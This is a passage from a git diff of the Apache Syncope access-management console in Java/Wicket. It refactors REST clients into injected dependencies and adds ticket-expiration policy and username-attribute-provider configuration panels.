b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/SAML2SPDirectoryPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.clientapps; import java.util.List; +import org.apache.syncope.client.console.rest.ClientAppRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.BooleanPropertyColumn; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -31,15 +32,22 @@ public class SAML2SPDirectoryPanel extends ClientAppDirectoryPanel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 7724172966123776889L; - public SAML2SPDirectoryPanel(final String id, final PageReference pageRef) { - super(id, ClientAppType.SAML2SP, pageRef); + public SAML2SPDirectoryPanel(final String id, final ClientAppRestClient restClient, final PageReference pageRef) { + super(id, restClient, ClientAppType.SAML2SP, pageRef); SAML2SPClientAppTO defaultItem = new SAML2SPClientAppTO(); - this.addNewItemPanelBuilder( - new ClientAppModalPanelBuilder<>(ClientAppType.SAML2SP, defaultItem, modal, pageRef), true); + addNewItemPanelBuilder(new ClientAppModalPanelBuilder<>( + ClientAppType.SAML2SP, + defaultItem, + modal, + policyRestClient, + clientAppRestClient, + realmRestClient, + pageRef), + true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.CLIENTAPP_CREATE); initResultTable(); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder.java new file mode 100644 index 00000000000..9b2b4fe28f2 --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/UsernameAttributeProviderModalPanelBuilder.java @@ -0,0 +1,152 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.clientapps; + +import java.util.List; +import java.util.Optional; +import java.util.stream.Collectors; +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.console.panels.AbstractModalPanel; +import org.apache.syncope.client.console.panels.BeanPanel; +import org.apache.syncope.client.console.rest.ClientAppRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.pages.BaseWebPage; +import org.apache.syncope.client.ui.commons.panels.WizardModalPanel; +import org.apache.syncope.client.ui.commons.wizards.AbstractModalPanelBuilder; +import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.to.ClientAppTO; +import org.apache.syncope.common.lib.types.ClientAppType; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxEventBehavior; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.model.LoadableDetachableModel; +import org.apache.wicket.model.Model; +import org.apache.wicket.model.PropertyModel; +import org.springframework.util.ClassUtils; + +public class UsernameAttributeProviderModalPanelBuilder extends AbstractModalPanelBuilder { + + private static final long serialVersionUID = -4106998301911573852L; + + protected final LoadableDetachableModel> usernameAttributeProviderConfs = + new LoadableDetachableModel<>() { + + private static final long serialVersionUID = 5275935387613157437L; + + @Override + protected List load() { + return SyncopeWebApplication.get().getLookup().getClasses(UsernameAttributeProviderConf.class).stream(). + map(Class::getName).sorted().collect(Collectors.toList()); + } + }; + + protected final BaseModal modal; + + protected final ClientAppType type; + + protected final ClientAppRestClient clientAppRestClient; + + public UsernameAttributeProviderModalPanelBuilder( + final ClientAppType type, + final T defaultItem, + final BaseModal modal, + final ClientAppRestClient clientAppRestClient, + final PageReference pageRef) { + + super(defaultItem, pageRef); + this.type = type; + this.modal = modal; + this.clientAppRestClient = clientAppRestClient; + } + + @Override + public WizardModalPanel build(final String id, final int index, final AjaxWizard.Mode mode) { + return new Profile(newModelObject(), modal, pageRef); + } + + protected class Profile extends AbstractModalPanel { + + private static final long serialVersionUID = 7647959917047450318L; + + protected final T clientAppTO; + + Profile(final T clientAppTO, final BaseModal modal, final PageReference pageRef) { + super(modal, pageRef); + modal.setFormModel(clientAppTO); + + this.clientAppTO = clientAppTO; + + AjaxDropDownChoicePanel conf = new AjaxDropDownChoicePanel<>( + "conf", "conf", new Model<>()); + Optional.ofNullable(clientAppTO.getUsernameAttributeProviderConf()). + ifPresent(uapc -> conf.setModelObject(uapc.getClass().getName())); + conf.setChoices(usernameAttributeProviderConfs.getObject()); + conf.setNullValid(true); + add(conf); + + PropertyModel beanPanelModel = + new PropertyModel<>(clientAppTO, "usernameAttributeProviderConf"); + BeanPanel bean = new BeanPanel<>("bean", beanPanelModel, pageRef); + add(bean.setRenderBodyOnly(false)); + + conf.add(new AjaxEventBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = -7133385027739964990L; + + @SuppressWarnings("unchecked") + @Override + protected void onEvent(final AjaxRequestTarget target) { + if (conf.getModelObject() == null) { + beanPanelModel.setObject(null); + } else { + try { + Class clazz = + (Class) ClassUtils.resolveClassName( + conf.getModelObject(), ClassUtils.getDefaultClassLoader()); + + beanPanelModel.setObject(clazz.getConstructor().newInstance()); + } catch (Exception e) { + LOG.error("Cannot instantiate {}", conf.getModelObject(), e); + } + } + + target.add(bean); + } + }); + } + + @Override + public void onSubmit(final AjaxRequestTarget target) { + try { + clientAppRestClient.update(type, clientAppTO); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + UsernameAttributeProviderModalPanelBuilder.Profile.this.modal.close(target); + } catch (Exception e) { + LOG.error("While creating/updating clientApp", e); + SyncopeConsoleSession.get().onException(e); + } + ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); + } + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapFor.java b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMAccessPolicyConfProvider.java similarity index 61% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapFor.java rename to client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMAccessPolicyConfProvider.java index 9ed25432884..78a66df4a05 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapFor.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMAccessPolicyConfProvider.java @@ -16,17 +16,20 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.starter.mapping; +package org.apache.syncope.client.console.commons; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; +import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.client.console.SyncopeWebApplication; import org.apache.syncope.common.lib.policy.AccessPolicyConf; -@Target({ ElementType.TYPE }) -@Retention(RetentionPolicy.RUNTIME) -public @interface AccessMapFor { +public class AMAccessPolicyConfProvider implements AccessPolicyConfProvider { - Class accessPolicyConfClass(); + private static final long serialVersionUID = 5657864541765007494L; + + @Override + public List get() { + return SyncopeWebApplication.get().getLookup().getClasses(AccessPolicyConf.class).stream(). + map(Class::getName).sorted().collect(Collectors.toList()); + } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMConstants.java b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMConstants.java index c185b55d1a6..08c9663fb58 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMConstants.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMConstants.java @@ -48,7 +48,11 @@ public final class AMConstants { public static final String PREF_AUTHPROFILE_GOOGLEMFAAUTHACCOUNTS_PAGINATOR_ROWS = "authprofile.googlemfaauthaccounts.paginator.rows"; - public static final String PREF_AUTHPROFILE_U2FDEVICES_PAGINATOR_ROWS = "authprofile.u2fdevices.paginator.rows"; + public static final String PREF_AUTHPROFILE_U2FDEVICES_PAGINATOR_ROWS = + "authprofile.u2fdevices.paginator.rows"; + + public static final String PREF_AUTHPROFILE_MFA_TRUSTED_FDEVICES_PAGINATOR_ROWS = + "authprofile.mfaTrustedDevices.paginator.rows"; public static final String PREF_AUTHPROFILE_WEBAUTHNDEVICECREDENTIALS_PAGINATOR_ROWS = "authprofile.webAuthnDeviceCredentials.paginator.rows"; diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMPolicyTabProvider.java b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMPolicyTabProvider.java index 488548123ae..1dd2ddf300f 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMPolicyTabProvider.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMPolicyTabProvider.java @@ -23,6 +23,8 @@ import org.apache.syncope.client.console.policies.AccessPolicyDirectoryPanel; import org.apache.syncope.client.console.policies.AttrReleasePolicyDirectoryPanel; import org.apache.syncope.client.console.policies.AuthPolicyDirectoryPanel; +import org.apache.syncope.client.console.policies.TicketExpirationPolicyDirectoryPanel; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.wicket.PageReference; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; @@ -33,9 +35,10 @@ public class AMPolicyTabProvider implements PolicyTabProvider { private static final long serialVersionUID = 2822554006571803418L; - @Override - public int getOrder() { - return 200; + protected final PolicyRestClient policyRestClient; + + public AMPolicyTabProvider(final PolicyRestClient policyRestClient) { + this.policyRestClient = policyRestClient; } @Override @@ -48,7 +51,7 @@ public List buildTabList(final PageReference pageRef) { @Override public Panel getPanel(final String panelId) { - return new AccessPolicyDirectoryPanel(panelId, pageRef); + return new AccessPolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); @@ -58,7 +61,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new AttrReleasePolicyDirectoryPanel(panelId, pageRef); + return new AttrReleasePolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); @@ -68,7 +71,17 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new AuthPolicyDirectoryPanel(panelId, pageRef); + return new AuthPolicyDirectoryPanel(panelId, policyRestClient, pageRef); + } + }); + + tabs.add(new AbstractTab(new ResourceModel("policy.ticketExpiration")) { + + private static final long serialVersionUID = -6815067322125799251L; + + @Override + public Panel getPanel(final String panelId) { + return new TicketExpirationPolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMRealmPolicyProvider.java b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMRealmPolicyProvider.java index 174d03153d0..e4d546ff931 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMRealmPolicyProvider.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/commons/AMRealmPolicyProvider.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.commons; import java.util.ArrayList; +import java.util.LinkedHashMap; import java.util.Map; import java.util.stream.Collectors; import org.apache.syncope.client.console.rest.PolicyRestClient; @@ -29,8 +30,6 @@ import org.apache.syncope.common.lib.types.PolicyType; import org.apache.wicket.markup.html.form.AbstractSingleSelectChoice; import org.apache.wicket.markup.repeater.RepeatingView; -import org.apache.wicket.model.IModel; -import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.ResourceModel; @@ -38,71 +37,60 @@ public class AMRealmPolicyProvider extends IdRepoRealmPolicyProvider { private static final long serialVersionUID = 1671878489700L; - private final IModel> accessPolicies = new LoadableDetachableModel<>() { - - private static final long serialVersionUID = -2012833443695917883L; - - @Override - protected Map load() { - return PolicyRestClient.list(PolicyType.ACCESS).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); - } - }; - - private final IModel> attrReleasePolicies = new LoadableDetachableModel<>() { - - private static final long serialVersionUID = -2012833443695917883L; - - @Override - protected Map load() { - return PolicyRestClient.list(PolicyType.ATTR_RELEASE).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); - } - }; - - private final IModel> authPolicies = new LoadableDetachableModel<>() { - - private static final long serialVersionUID = -2012833443695917883L; - - @Override - protected Map load() { - return PolicyRestClient.list(PolicyType.AUTH).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); - } - }; + public AMRealmPolicyProvider(final PolicyRestClient policyRestClient) { + super(policyRestClient); + } @Override public void add(final RealmTO realmTO, final RepeatingView view) { super.add(realmTO, view); + Map accessPolicies = policyRestClient.list(PolicyType.ACCESS).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); AjaxDropDownChoicePanel accessPolicy = new AjaxDropDownChoicePanel<>( view.newChildId(), new ResourceModel("accessPolicy", "accessPolicy").getObject(), new PropertyModel<>(realmTO, "accessPolicy"), false); accessPolicy.setChoiceRenderer(new PolicyRenderer(accessPolicies)); - accessPolicy.setChoices(new ArrayList<>(accessPolicies.getObject().keySet())); + accessPolicy.setChoices(new ArrayList<>(accessPolicies.keySet())); ((AbstractSingleSelectChoice) accessPolicy.getField()).setNullValid(true); view.add(accessPolicy); + Map attrReleasePolicies = policyRestClient.list(PolicyType.ATTR_RELEASE).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); AjaxDropDownChoicePanel attrReleasePolicy = new AjaxDropDownChoicePanel<>( view.newChildId(), new ResourceModel("attrReleasePolicy", "attrReleasePolicy").getObject(), new PropertyModel<>(realmTO, "attrReleasePolicy"), false); attrReleasePolicy.setChoiceRenderer(new PolicyRenderer(attrReleasePolicies)); - attrReleasePolicy.setChoices(new ArrayList<>(attrReleasePolicies.getObject().keySet())); + attrReleasePolicy.setChoices(new ArrayList<>(attrReleasePolicies.keySet())); ((AbstractSingleSelectChoice) attrReleasePolicy.getField()).setNullValid(true); view.add(attrReleasePolicy); + Map authPolicies = policyRestClient.list(PolicyType.AUTH).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); AjaxDropDownChoicePanel authPolicy = new AjaxDropDownChoicePanel<>( view.newChildId(), new ResourceModel("authPolicy", "authPolicy").getObject(), new PropertyModel<>(realmTO, "authPolicy"), false); authPolicy.setChoiceRenderer(new PolicyRenderer(authPolicies)); - authPolicy.setChoices(new ArrayList<>(authPolicies.getObject().keySet())); + authPolicy.setChoices(authPolicies.keySet().stream().collect(Collectors.toList())); ((AbstractSingleSelectChoice) authPolicy.getField()).setNullValid(true); view.add(authPolicy); + + Map ticketExpirationPolicies = policyRestClient.list(PolicyType.TICKET_EXPIRATION).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); + AjaxDropDownChoicePanel ticketExpirationPolicy = new AjaxDropDownChoicePanel<>( + view.newChildId(), + new ResourceModel("ticketExpirationPolicy", "ticketExpirationPolicy").getObject(), + new PropertyModel<>(realmTO, "ticketExpirationPolicy"), + false); + ticketExpirationPolicy.setChoiceRenderer(new PolicyRenderer(ticketExpirationPolicies)); + ticketExpirationPolicy.setChoices(ticketExpirationPolicies.keySet().stream().collect(Collectors.toList())); + ((AbstractSingleSelectChoice) ticketExpirationPolicy.getField()).setNullValid(true); + view.add(ticketExpirationPolicy); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/init/AMClassPathScanImplementationContributor.java b/client/am/console/src/main/java/org/apache/syncope/client/console/init/AMClassPathScanImplementationContributor.java index e7ca032553c..f995e5de2ad 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/init/AMClassPathScanImplementationContributor.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/init/AMClassPathScanImplementationContributor.java @@ -21,15 +21,25 @@ import java.util.Optional; import org.apache.syncope.common.lib.attr.AttrRepoConf; import org.apache.syncope.common.lib.auth.AuthModuleConf; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; +import org.apache.syncope.common.lib.policy.AttrReleasePolicyConf; +import org.apache.syncope.common.lib.policy.AuthPolicyConf; import org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider; import org.springframework.core.type.filter.AssignableTypeFilter; public class AMClassPathScanImplementationContributor implements ClassPathScanImplementationContributor { + private static final long serialVersionUID = 2493303413513242525L; + @Override public void extend(final ClassPathScanningCandidateComponentProvider scanner) { scanner.addIncludeFilter(new AssignableTypeFilter(AuthModuleConf.class)); scanner.addIncludeFilter(new AssignableTypeFilter(AttrRepoConf.class)); + scanner.addIncludeFilter(new AssignableTypeFilter(AccessPolicyConf.class)); + scanner.addIncludeFilter(new AssignableTypeFilter(AttrReleasePolicyConf.class)); + scanner.addIncludeFilter(new AssignableTypeFilter(AuthPolicyConf.class)); + scanner.addIncludeFilter(new AssignableTypeFilter(UsernameAttributeProviderConf.class)); } @Override @@ -40,6 +50,18 @@ public Optional getLabel(final Class clazz) { if (AttrRepoConf.class.isAssignableFrom(clazz)) { return Optional.of(AttrRepoConf.class.getName()); } + if (AccessPolicyConf.class.isAssignableFrom(clazz)) { + return Optional.of(AccessPolicyConf.class.getName()); + } + if (AttrReleasePolicyConf.class.isAssignableFrom(clazz)) { + return Optional.of(AttrReleasePolicyConf.class.getName()); + } + if (AuthPolicyConf.class.isAssignableFrom(clazz)) { + return Optional.of(AuthPolicyConf.class.getName()); + } + if (UsernameAttributeProviderConf.class.isAssignableFrom(clazz)) { + return Optional.of(UsernameAttributeProviderConf.class.getName()); + } return Optional.empty(); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/pages/SRA.java b/client/am/console/src/main/java/org/apache/syncope/client/console/pages/SRA.java index 9dc948cd48c..96bc50229f2 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/pages/SRA.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/pages/SRA.java @@ -23,13 +23,13 @@ import java.util.List; import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.SyncopeConsoleSession; -import org.apache.syncope.client.console.annotations.AMPage; import org.apache.syncope.client.console.panels.AMSessionPanel; import org.apache.syncope.client.console.panels.SRARouteDirectoryPanel; import org.apache.syncope.client.console.panels.SRAStatisticsPanel; import org.apache.syncope.client.console.rest.SRARouteRestClient; import org.apache.syncope.client.console.rest.SRASessionRestClient; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.annotations.AMPage; import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -48,6 +48,9 @@ public class SRA extends BasePage { private static final long serialVersionUID = 9200112197134882164L; + @SpringBean + private SRARouteRestClient sraRouteRestClient; + @SpringBean private ServiceOps serviceOps; @@ -61,10 +64,12 @@ public SRA(final PageParameters parameters) { AjaxLink push = new AjaxLink<>("push") { + private static final long serialVersionUID = -817438685948164787L; + @Override public void onClick(final AjaxRequestTarget target) { try { - SRARouteRestClient.push(); + sraRouteRestClient.push(); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (Exception e) { LOG.error("While pushing to SRA", e); @@ -94,7 +99,7 @@ private List buildTabList(final List instances) { @Override public Panel getPanel(final String panelId) { - return new SRARouteDirectoryPanel(panelId, getPageReference()); + return new SRARouteDirectoryPanel(panelId, sraRouteRestClient, getPageReference()); } }); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/pages/WA.java b/client/am/console/src/main/java/org/apache/syncope/client/console/pages/WA.java index f46871dd49f..3961a7280f1 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/pages/WA.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/pages/WA.java @@ -20,18 +20,18 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; +import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; import de.agilecoders.wicket.core.markup.html.bootstrap.tabs.AjaxBootstrapTabbedPanel; import java.io.InputStream; +import java.io.Serializable; import java.util.ArrayList; import java.util.List; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.commons.lang3.StringUtils; -import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.SyncopeWebApplication; -import org.apache.syncope.client.console.annotations.AMPage; import org.apache.syncope.client.console.authprofiles.AuthProfileDirectoryPanel; import org.apache.syncope.client.console.clientapps.ClientApps; import org.apache.syncope.client.console.panels.AMSessionPanel; @@ -40,10 +40,15 @@ import org.apache.syncope.client.console.panels.OIDC; import org.apache.syncope.client.console.panels.SAML2; import org.apache.syncope.client.console.panels.WAConfigDirectoryPanel; +import org.apache.syncope.client.console.panels.WAPushModalPanel; +import org.apache.syncope.client.console.rest.AttrRepoRestClient; +import org.apache.syncope.client.console.rest.AuthModuleRestClient; +import org.apache.syncope.client.console.rest.AuthProfileRestClient; import org.apache.syncope.client.console.rest.WAConfigRestClient; import org.apache.syncope.client.console.rest.WASessionRestClient; -import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.pages.BaseWebPage; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.lib.WebClientBuilder; +import org.apache.syncope.client.ui.commons.annotations.AMPage; import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -65,9 +70,23 @@ public class WA extends BasePage { protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + @SpringBean + protected WAConfigRestClient waConfigRestClient; + + @SpringBean + protected AuthProfileRestClient authProfileRestClient; + + @SpringBean + protected AuthModuleRestClient authModuleRestClient; + + @SpringBean + protected AttrRepoRestClient attrRepoRestClient; + @SpringBean protected ServiceOps serviceOps; + protected final BaseModal modal; + protected String waPrefix = ""; public WA(final PageParameters parameters) { @@ -78,20 +97,21 @@ public WA(final PageParameters parameters) { List instances = serviceOps.list(NetworkService.Type.WA); + modal = new BaseModal<>("push-modal"); + modal.setWindowClosedCallback(target -> modal.show(false)); + modal.addSubmitButton(); + body.add(modal.size(Modal.Size.Large)); + AjaxLink push = new AjaxLink<>("push") { private static final long serialVersionUID = -817438685948164787L; @Override public void onClick(final AjaxRequestTarget target) { - try { - WAConfigRestClient.push(); - SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); - } catch (Exception e) { - LOG.error("While pushing to WA", e); - SyncopeConsoleSession.get().onException(e); - } - ((BaseWebPage) getPageReference().getPage()).getNotificationPanel().refresh(target); + modal.header(new ResourceModel("push.options")); + modal.setContent(new WAPushModalPanel(modal, instances, getPageReference())); + modal.show(true); + target.add(modal); } }; push.setEnabled(!instances.isEmpty() && SyncopeConsoleSession.get().owns(AMEntitlement.WA_CONFIG_PUSH)); @@ -106,14 +126,12 @@ public void onClick(final AjaxRequestTarget target) { body.add(content); if (!instances.isEmpty()) { - String actuatorEndpoint = instances.get(0).getAddress() + "actuator/env"; + String actuatorEndpoint = StringUtils.appendIfMissing(instances.get(0).getAddress(), "/") + "actuator/env"; try { - Response response = WebClient.create( - actuatorEndpoint, + Response response = WebClientBuilder.build(actuatorEndpoint, SyncopeWebApplication.get().getAnonymousUser(), SyncopeWebApplication.get().getAnonymousKey(), - null). - accept(MediaType.APPLICATION_JSON_TYPE).get(); + List.of()).accept(MediaType.APPLICATION_JSON_TYPE).get(); if (response.getStatus() == Response.Status.OK.getStatusCode()) { JsonNode env = MAPPER.readTree((InputStream) response.getEntity()); if (env.has("propertySources")) { @@ -150,7 +168,7 @@ protected List buildTabList(final List instances) { @Override public Panel getPanel(final String panelId) { - return new AuthModuleDirectoryPanel(panelId, getPageReference()); + return new AuthModuleDirectoryPanel(panelId, authModuleRestClient, getPageReference()); } }); } @@ -162,7 +180,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new AttrRepoDirectoryPanel(panelId, getPageReference()); + return new AttrRepoDirectoryPanel(panelId, attrRepoRestClient, getPageReference()); } }); } @@ -206,7 +224,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new WAConfigDirectoryPanel(panelId, getPageReference()); + return new WAConfigDirectoryPanel(panelId, waConfigRestClient, getPageReference()); } }); } @@ -218,7 +236,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new AuthProfileDirectoryPanel(panelId, getPageReference()); + return new AuthProfileDirectoryPanel(panelId, authProfileRestClient, getPageReference()); } }); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AMSessionDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AMSessionDirectoryPanel.java index 9ad20da11e2..852f53bf9d3 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AMSessionDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AMSessionDirectoryPanel.java @@ -26,6 +26,7 @@ import java.util.stream.Stream; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.AMSessionDirectoryPanel.AMSessionProvider; import org.apache.syncope.client.console.panels.AMSessionPanel.AMSessionSearchEvent; @@ -37,7 +38,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wicket.markup.html.form.JsonEditorPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.common.lib.AMSession; import org.apache.syncope.common.lib.SyncopeClientException; @@ -73,7 +73,7 @@ public AMSessionDirectoryPanel( final String deleteEntitlement, final PageReference pageRef) { - super(id, pageRef); + super(id, restClient, pageRef); this.listEntitlement = listEntitlement; this.deleteEntitlement = deleteEntitlement; @@ -92,7 +92,7 @@ protected void onConfigure() { } }; viewModal.size(Modal.Size.Extra_large); - viewModal.setWindowClosedCallback(target -> viewModal.show(false)); + setWindowClosedReloadCallback(viewModal); addOuterObject(viewModal); initResultTable(); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.java index b8bd852c07d..5520b6b0368 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AttrRepoDirectoryPanel.java @@ -19,56 +19,73 @@ package org.apache.syncope.client.console.panels; import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; +import java.io.Serializable; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.audit.AuditHistoryModal; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; +import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.AttrRepoDirectoryPanel.AttrRepoProvider; import org.apache.syncope.client.console.rest.AttrRepoRestClient; +import org.apache.syncope.client.console.rest.AuditRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.AttrRepoWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.to.AttrRepoTO; import org.apache.syncope.common.lib.types.AMEntitlement; +import org.apache.syncope.common.lib.types.AuditElements; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; import org.apache.wicket.event.Broadcast; import org.apache.wicket.extensions.markup.html.repeater.data.grid.ICellPopulator; -import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; import org.apache.wicket.markup.html.basic.Label; import 